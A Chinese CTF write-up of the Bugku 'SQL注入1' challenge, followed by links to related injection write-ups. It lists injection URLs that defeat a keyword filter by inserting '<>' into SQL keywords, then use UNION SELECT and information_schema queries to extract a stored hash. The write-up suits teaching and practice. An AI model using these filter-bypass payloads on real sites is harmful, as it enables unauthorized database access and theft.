Bugku——SQL注入1(http://103.238.227.13:10087/)

过滤了几乎所有的关键字,尝试绕过无果之后发现,下面有个xss过滤代码。经搜索得该函数会去掉所有的html标签,所以向注入关键字中插入<>,就可以不被检测到,并成功注入;
1.首先判断是否存在注入:
http://103.238.227.13:10087/?id=1 a<>nd 1=1
 

http://103.238.227.13:10087/?id=1 a<>nd 1=2

通过这两次的返回结果可初步判断存在注入点。
 
2.判断字段大小:
http://103.238.227.13:10087/?id=1 o<>rder by 2

http://103.238.227.13:10087/?id=1 o<>rder by 3

根据返回结果可判断字段值为2
3.判断字段的输出位置;
http://103.238.227.13:10087/?id=1 a<>nd 1=2 uni<>on s<>elect 1,2

如图可发现字段内容的输出位置。
4.输出数据库的信息:

可见有一个额外数据库为sql3.
简便的方法:
http://103.238.227.13:10087/?id=1 a<>nd 1=2 uni<>on s<>elect 1,database()
这样直接会获取到当前所在的数据库

5.查询key表:
http://103.238.227.13:10087/?id=1 a<>nd 1=2 uni<>on s<>elect group_concat(tabl<>e_schema),group_concat(tabl<>e_name) fr<>om info<>rmation_schema.ta<>bles

仔细看输出的数据表的信息,发现因为group_concat()函数的长度限制原因无法打印出全部信息。如下:

至此,查询key表失败,未解决。
6.查到信息:
http://103.238.227.13:10087/?id=1 a<>nd 1=2 uni<>on s<>elect 1,hash fr<>om sql3.key

语句中,前半部分SQL语句查询错误信息,后半部分查询我们需要的信息。
查到hash为 c3d3c17b4ca7f791f85e#$1cc72af274af4adef,即为flag。
 
这道题并不难,但想要强调的是这种白盒审计的思路。有幸认识一个审计超神的大佬,听他讲审计的时候,就经常见到类似这种情况,本来两个过滤都很严实,但放到一起时,就可以用前一个过滤函数去绕过后一个过滤。这是程序员在写程序时常犯的毛病,指的Mark一下。
 

http://www.bugku.com:Bugku——SQL注入1(http://103.238.227.13:10087/)的更多相关文章

  1. 一次简单的ctf SQL注入绕过

    注入地址:http://103.238.227.13:10087/index.php?id=1 //过滤sql $array = array('table','union','and','or','l ...

  2. BugkuCTF SQL注入1

    前言 写了这么久的web题,算是把它基础部分都刷完了一遍,以下的几天将持续更新BugkuCTF WEB部分的题解,为了不影响阅读,所以每道题的题解都以单独一篇文章的形式发表,感谢大家一直以来的支持和理 ...

  3. SQL注入的各种类型的检测方式

    #SQL注入各个类型检测方式 http://127.0.0.1/day6/1.php?id=1 union select 1,name,pass from admin 数字型 数字型不用特意加字符,直 ...

  4. BugkuCTF sql注入

    前言 写了这么久的web题,算是把它基础部分都刷完了一遍,以下的几天将持续更新BugkuCTF WEB部分的题解,为了不影响阅读,所以每道题的题解都以单独一篇文章的形式发表,感谢大家一直以来的支持和理 ...

  5. SQL注入文件读取通过from for分页读取

    http://103.238.227.13:10088/?id=1 在读取文件的时候发现不能够一下子全部读取出来.经过百度学习了一下,看到别人使用from for说实在此前真不知道这操作. 先来看一下 ...

  6. SQL 注入攻击案例

    一.检测注入点 二.判断是否存在 SQL 注入可能 三.数据库爆破 四.字段爆破 五.数据库表爆破 六.用户名.密码爆破 七.总结 一.检测注入点 首先,在 http://120.203.13.75: ...

  7. union注入的几道ctf题,实验吧简单的sql注入1,2,这个看起来有点简单和bugku的成绩单

    这几天在做CTF当中遇到了几次sql注入都是union,写篇博客记录学习一下. 首先推荐一篇文章“https://blog.csdn.net/Litbai_zhang/article/details/ ...

  8. 实验吧简单的sql注入3

    今天早上起来发现有人评论说我没更新实验吧sql注入3,主要是因为前段时间都去做bugku去了 但是重做这道题发现以前的姿势不行了,exp()报错不再溢出,现在不能用这个姿势,所以这里重新整理了一遍思路 ...

  9. CTF—WEB—sql注入之无过滤有回显最简单注入

    sql注入基础原理 一.Sql注入简介 Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击,它目前黑客对数据库进行攻击的最常用手 ...

随机推荐

  1. Django之集合函数使用与mysql表的创建特殊字段分析

    1. 集合函数的使用场景: -- 单独使用: 不分组, 只查聚合结果 -- 分组使用: 按字段分组, 可查询分组字段与聚合结果 2. 导入聚合函数 from django.db.models impo ...

  2. 24_ajax请求_使用axios

    前置说明: 1.React本身只关注页面,并不包含发送ajax请求的代码 2.前端应用需要通过ajax请求与后台进行交互(json数据) 3.React应用中需要集成第三方ajax库(或自己进行封装) ...

  3. 跟我一起学Python-day1(条件语句以及初识变量)

    通过练习题来学习条件语句 1,使用while循环输出1 2 3 4 5 6    8  9  10 n=1 while n<11: if n=7: pass else: print(n) n=n ...

  4. hdoj 1003 学习思路

    基本解题思路:动态规划,不考虑穷举,分治. 根据网上,状态转移方程是:MaxSum[i] = Max{ MaxSum[i-1] + A[i], A[i]} 翻译公式:到当前位置i 时,最大子序列和为: ...

  5. 尚硅谷springboot学习18-日志使用

    默认配置 SpringBoot默认帮我们配置好了日志 //记录器 Logger logger = LoggerFactory.getLogger(getClass()); @Test public v ...

  6. 尚硅谷springboot学习1-简介

    以前看过springboot的相关知识,当时偷懒没有做笔记,现在忘得已经差不多了,现在趁着过年有时间,再学习一遍,并做下笔记以备忘. 特性 Spring Boot来简化Spring应用开发,约定大于配 ...

  7. js实现ctrl+v粘贴上传图片(兼容chrome、firefox、ie11)【转载】

    我们或多或少都使用过各式各样的富文本编辑器,其中有一个很方便功能,复制一张图片然后粘贴进文本框,这张图片就被上传了,那么这个方便的功能是如何实现的呢? 原理分析 提取操作:复制=>粘贴=> ...

  8. 重建redo文件

    需求背景 由于前期安装oracle时redo文件大小或者路径规划不合理需要进行修改,以便满足性能测试要求.redo文件规划大小建议与生产环境一致. 重做日志相关数据字典 1.v$log  记录数据库中 ...

  9. SSL协议(安全套接层协议)

    SSL是Secure Sockets Layer(安全套接层协议)的缩写,可以在Internet上提供秘密性传输.Netscape公司在推出第一个Web浏览器的同时,提出了SSL协议标准.其目标是保证 ...

  10. python中求两个List的交集、并集和差集

    直接上代码,有三种方法,第三种调用库函数效率最高 # ! /usr/bin/env python # encoding:utf-8 if __name__ == '__main__': a = [1, ...